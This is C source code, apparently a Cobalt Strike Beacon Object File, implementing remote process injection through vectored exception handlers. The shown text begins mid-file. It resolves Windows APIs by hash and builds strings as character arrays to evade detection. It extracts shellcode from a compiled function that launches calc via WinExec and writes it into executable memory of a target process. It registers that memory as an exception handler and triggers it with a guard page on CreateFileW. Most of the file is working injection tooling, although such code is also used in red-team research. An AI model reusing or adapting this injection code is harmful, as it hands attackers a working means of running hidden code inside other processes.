char * funcName = (char * )((byte * )dllBase + names [n ]);
PVOID funcAddr = (byte * )dllBase + func [ord [n ]];
unsigned long hash = 5381 ;
int c ;
while ((c = * funcName ++ ))
hash = ((hash << 5 ) + hash ) + c ;
#if defined(_DEBUG ) && defined(BOF )
BeaconPrintf (CALLBACK_OUTPUT , "Function: %s, Hash=%lu" , funcName , hash );
#endif
if (hash == 3476142879 ) {
pGetProcAddress = (_GetProcAddress )funcAddr ;
}
if (hash == 2219831693 ) {
pVirtualProtect = (_VirtualProtect )funcAddr ;
}
if (hash == 1511341912 ) {
pGetModuleHandleA = (_GetModuleHandleA )funcAddr ;
}
++ n ;
} while (n < exportTable -> NumberOfNames - 1 );
#if defined(_DEBUG ) && defined(BOF )
BeaconPrintf (CALLBACK_OUTPUT , "GetProcAddress: %p" , pGetProcAddress );
BeaconPrintf (CALLBACK_OUTPUT , "VirtualProtect: %p" , pVirtualProtect );
BeaconPrintf (CALLBACK_OUTPUT , "GetModuleHandleA: %p" , pGetModuleHandleA );
#endif
if (pGetProcAddress == NULL || pGetModuleHandleA == NULL )
goto EXIT_FUNC ;
char kernel32_name [] = { 'k' ,'e' ,'r' ,'n' ,'e' ,'l' ,'3' ,'2' ,'.' ,'d' ,'l' ,'l' , 0 };
char winexec_name [] = { 'W' ,'i' ,'n' ,'E' ,'x' ,'e' ,'c' , 0 };
char command [] = {
'c' , ':' , '\\' ,
'w' , 'i' , 'n' , 'd' , 'o' , 'w' , 's' , '\\' ,
's' , 'y' , 's' , 't' , 'e' , 'm' , '3' ,'2' , '\\' ,
'c' , 'a' , 'l' , 'c' , 0
};
HMODULE kernel32 = pGetModuleHandleA (kernel32_name );
_WinExec pWinExec = (_WinExec )pGetProcAddress (kernel32 , winexec_name );
pWinExec (command , 1 );
EXIT_FUNC :
return EXCEPTION_CONTINUE_EXECUTION ;
}
void END_SHELLCODE (void ) {}
PVOID FindShellcode (unsigned int * outLen , BOOL trim )
{
// Use this trick from Nick Harbour. Extracts the assembly from our own compiled function (ShellcodeFunc)
// We create a placeholder function called END_SHELLCODE which is placed directly after our shellcode func
// Then we just need to subtract the ShellcodeFunc address from the END_SHELLCODE address to get the length
// See: https://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
// Note: this requires incremental linking to be disabled for debug builds
// https://stackoverflow.com/questions/2485336/address-of-function-is-not-actual-code-address
PVOID start = ShellcodeFunc ;
PVOID end = END_SHELLCODE ;
if (trim )
{
// Optionally trim any extra 0xCC bytes after retn
while ((byte * )start + (* outLen )++ <= (byte * )end - sizeof (unsigned ))
{
//if (*((byte*)start + *outLen) == 0xcc
// && *((byte*)start + (*outLen - 1)) == 0xc3)
// break;
// TODO: do we care about alignment?
// If so then add a modulo check here
if (* (unsigned * )((byte * )start + * outLen ) == 0xCCCCCCCC
&& * ((byte * )start + * outLen - 1 ) == 0xC3 )
break ;
}
}
else
{
* outLen = ((byte * )end - (byte * )start );
}
BeaconPrintf (CALLBACK_OUTPUT , "Start=%p, End=%p (test: %d)" , start , end , (start < end ));
BeaconPrintf (CALLBACK_OUTPUT , "Shellcode length=%llu" , * outLen );
return & ShellcodeFunc ;
}
void RopTest ()
{
/*
InjectVEH!MyVectoredHandler InjectVEH.cpp @ 40]:
00007ff6`402c1b10 48894c2408 mov qword ptr [rsp+8],rcx
00007ff6`402c1b15 b8ffffffff mov eax,0FFFFFFFFh
00007ff6`402c1b1a c3 ret
00007ff6`402c1b1b cc int 3
00007ff6`402c1b1c cc int 3
00007ff6`402c1b1d cc int 3
00007ff6`402c1b1e cc int 3
00007ff6`402c1b1f cc int 3
*/
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
//DFR_LOCAL(KERNEL32, RaiseException);
AddVectoredExceptionHandler (1 , (PVECTORED_EXCEPTION_HANDLER )0x4141414141414141 );
AddVectoredExceptionHandler (0 , (PVECTORED_EXCEPTION_HANDLER )0x4242424242424242 );
//AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredHandler);
BeaconPrintf (CALLBACK_OUTPUT , "Exception handler added" );
BeaconPrintf (CALLBACK_OUTPUT , "Enter to continue .." );
getchar ();
RaiseException (EXCEPTION_ACCESS_VIOLATION , 0 , 0 , NULL );
}
void go (char * args , int len )
{
#pragma warning( disable : 6387 )
#pragma warning( disable : 6031 )
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
//DFR_LOCAL(KERNEL32, GetCurrentProcessId);
//DFR_LOCAL(KERNEL32, RaiseException);
//DFR_LOCAL(KERNEL32, OpenProcess);
//DFR_LOCAL(KERNEL32, VirtualAllocEx);
//DFR_LOCAL(KERNEL32, WriteProcessMemory);
//DFR_LOCAL(KERNEL32, VirtualProtectEx);
//DFR_LOCAL(KERNEL32, VirtualProtect);
//DFR_LOCAL(KERNEL32, VirtualAlloc);
//DFR_LOCAL(KERNEL32, CloseHandle);
//DFR_LOCAL(KERNEL32, GetLastError);
//DFR_LOCAL(KERNEL32, Sleep);
//DFR_LOCAL(MSVCRT, memcpy);
//DFR_LOCAL(MSVCRT, getchar);
//DFR_LOCAL(MSVCRT, fopen);
//DFR_LOCAL(MSVCRT, fwrite);
//DFR_LOCAL(MSVCRT, fclose);
ULONGLONG head ;
HANDLE hProc = NULL ;
DWORD dwPid = 0 ;
DWORD oldProtect = 0 ;
SIZE_T bytesWritten = 0 ;
void * alloc = NULL ;
void * addr = NULL ;
unsigned int scLen = 0 ;
PVOID scBuf = NULL ;
FILE * output_file = NULL ;
datap parser ;
BeaconDataParse (& parser , args , len );
int opt = BeaconDataInt (& parser );
BeaconPrintf (CALLBACK_OUTPUT , "Opt: %d" , opt );
BeaconPrintf (CALLBACK_OUTPUT , "Running in PID: %d" , GetCurrentProcessId ());
switch (opt )
{
case 0 :
TestAddHandlerDefault ();
break ;
case 1 :
TestAddHandlerCustom ();
break ;
case 2 :
AddVectoredExceptionHandler (TRUE, & MyVectoredHandler );
BeaconPrintf (CALLBACK_OUTPUT , "Added handler" );
head = GetLdrpVectorHandlerList ();
DumpHandlerList ((PVECTORED_HANDLER_LIST )head );
BeaconPrintf (CALLBACK_OUTPUT , "Enter to continue .." );
getchar ();
RaiseException (EXCEPTION_ACCESS_VIOLATION , 0 , 0 , NULL );
break ;
case 3 :
dwPid = BeaconDataInt (& parser );
BeaconPrintf (CALLBACK_OUTPUT , "Target PID: %d" , dwPid );
hProc = OpenProcess (PROCESS_ALL_ACCESS , FALSE, dwPid );
if (hProc == NULL )
{
BeaconPrintf (CALLBACK_OUTPUT , "Unable to open PID=%d, Error=%d" ,
dwPid , GetLastError ());
return ;
}
head = GetLdrpVectorHandlerList ();
DumpHandlerListEx (hProc , (void * )head );
break ;
case 4 :
dwPid = BeaconDataInt (& parser );
BeaconPrintf (CALLBACK_OUTPUT , "Target PID: %d" , dwPid );
hProc = OpenProcess (PROCESS_ALL_ACCESS , FALSE, dwPid );
if (hProc == NULL )
{
BeaconPrintf (CALLBACK_OUTPUT , "Unable to open PID=%d, Error=%d" , dwPid , GetLastError ());
return ;
}
scLen = 0 ;
scBuf = FindShellcode (& scLen , TRUE);
//alloc = VirtualAllocEx(hProc, 0, sizeof(calcBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//alloc = VirtualAllocEx(hProc, 0, sizeof(dbgBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
alloc = VirtualAllocEx (hProc , 0 , scLen , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
if (alloc == NULL )
return ;
BeaconPrintf (CALLBACK_OUTPUT , "Allocated shellcode at %p" , alloc );
//WriteProcessMemory(hProc, alloc, calcBytes, sizeof(calcBytes), &bytesWritten);
//WriteProcessMemory(hProc, alloc, dbgBytes, sizeof(dbgBytes), &bytesWritten);
WriteProcessMemory (hProc , alloc , scBuf , scLen , & bytesWritten );
BeaconPrintf (CALLBACK_OUTPUT , "Wrote %d bytes of shellcode" , bytesWritten );
RtlpAddVectoredHandlerEx (hProc , FALSE, (PVECTORED_EXCEPTION_HANDLER )alloc , FALSE);
// Cause debug exception
//addr = GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateFile");
//VirtualProtectEx(hProc, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
//WriteProcessMemory(hProc, addr, dbgBytes, sizeof(dbgBytes), &bytesWritten);
//VirtualProtectEx(hProc, addr, 1, oldProtect, &oldProtect);
// Cause a guard page violation
addr = GetProcAddress (GetModuleHandleA ("kernel32" ), "CreateFileW" );
VirtualProtectEx (hProc , addr , 1 , PAGE_EXECUTE | PAGE_GUARD , & oldProtect );
break ;
case 5 :
alloc = VirtualAlloc (0 , sizeof (calcBytes ), MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
memcpy (alloc , calcBytes , sizeof (calcBytes ));
AddVectoredExceptionHandler (TRUE, (PVECTORED_EXCEPTION_HANDLER )alloc );
BeaconPrintf (CALLBACK_OUTPUT , "Added calc handler" );
head = GetLdrpVectorHandlerList ();
DumpHandlerList ((PVECTORED_HANDLER_LIST )head );
BeaconPrintf (CALLBACK_OUTPUT , "Enter to exit .." );
getchar ();
RaiseException (EXCEPTION_ACCESS_VIOLATION , 0 , 0 , NULL );
break ;
case 6 :
RtlpAddVectoredHandler (TRUE, (PVECTORED_EXCEPTION_HANDLER )ShellcodeFunc , FALSE);
BeaconPrintf (CALLBACK_OUTPUT , "Added ShellcodeFunc handler" );
head = GetLdrpVectorHandlerList ();
DumpHandlerList ((PVECTORED_HANDLER_LIST )head );
BeaconPrintf (CALLBACK_OUTPUT , "Enter to exit .." );
getchar ();
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
VirtualProtect (GetProcAddress (GetModuleHandleA ("kernel32" ), "Sleep" ), 1 , PAGE_EXECUTE | PAGE_GUARD , & oldProtect );
Sleep (1000 );
BeaconPrintf (CALLBACK_OUTPUT , "All done" );
break ;
case 7 :
scLen = 0 ;
scBuf = FindShellcode (& scLen , TRUE);
BeaconPrintf (CALLBACK_OUTPUT , "Shellcode at: %#llx" , scBuf );
output_file = fopen ("shellcode.bin" , "w" );
fwrite (scBuf , scLen , 1 , output_file );
fclose (output_file );
BeaconPrintf (CALLBACK_OUTPUT , "Written shellcode" );
break ;
case 8 :
RopTest ();
break ;
}
if (hProc != NULL )
CloseHandle (hProc );
}
}
// Define a main function for the bebug build
#if defined(_DEBUG ) && !defined(_GTEST )
int main (int argc , char * argv []) {
if (argc < 2 )
{
BeaconPrintf (CALLBACK_ERROR , " \n Usage: %s <op> <args>" , argv [0 ]);
BeaconPrintf (CALLBACK_ERROR , " \n Opcodes:\n" );
BeaconPrintf (CALLBACK_ERROR , " 0: Test AddVectoredExceptionHandler (default API)" );
BeaconPrintf (CALLBACK_ERROR , " 1: Test RtlpAddVectoredHandler (custom implementation)" );
BeaconPrintf (CALLBACK_ERROR , " 2: Add a VEH and wait for input" );
BeaconPrintf (CALLBACK_ERROR , " 3: Dump VEH from remote proc" );
BeaconPrintf (CALLBACK_ERROR , " \tArgs: <PID>" );
BeaconPrintf (CALLBACK_ERROR , " 4: Inject VEH into remote proc (custom implementation)" );
BeaconPrintf (CALLBACK_ERROR , " \tArgs: <PID>" );
return 1 ;
}
int op = atoi (argv [1 ]);
bof ::mock ::BofData data ;
data << op ;
if (argc == 3 )
data << atoi (argv [2 ]);
go (data .get (), data .size ());
return 0 ;
}
// Define unit tests
#elif defined(_GTEST )
#include <gtest\gtest.h>
TEST (BofTest , Test1 ) {
std ::vector < bof ::output ::OutputEntry > got =
bof ::runMocked < > (go );
std ::vector < bof ::output ::OutputEntry > expected = {
{CALLBACK_OUTPUT , "System Directory: C:\\Windows\\system32" }
};
// It is possible to compare the OutputEntry vectors, like directly
// ASSERT_EQ(expected, got);
// However, in this case, we want to compare the output, ignoring the case.
ASSERT_EQ (expected .size (), got .size ());
ASSERT_STRCASEEQ (expected [0 ].output .c_str (), got [0 ].output .c_str ());
}
#endif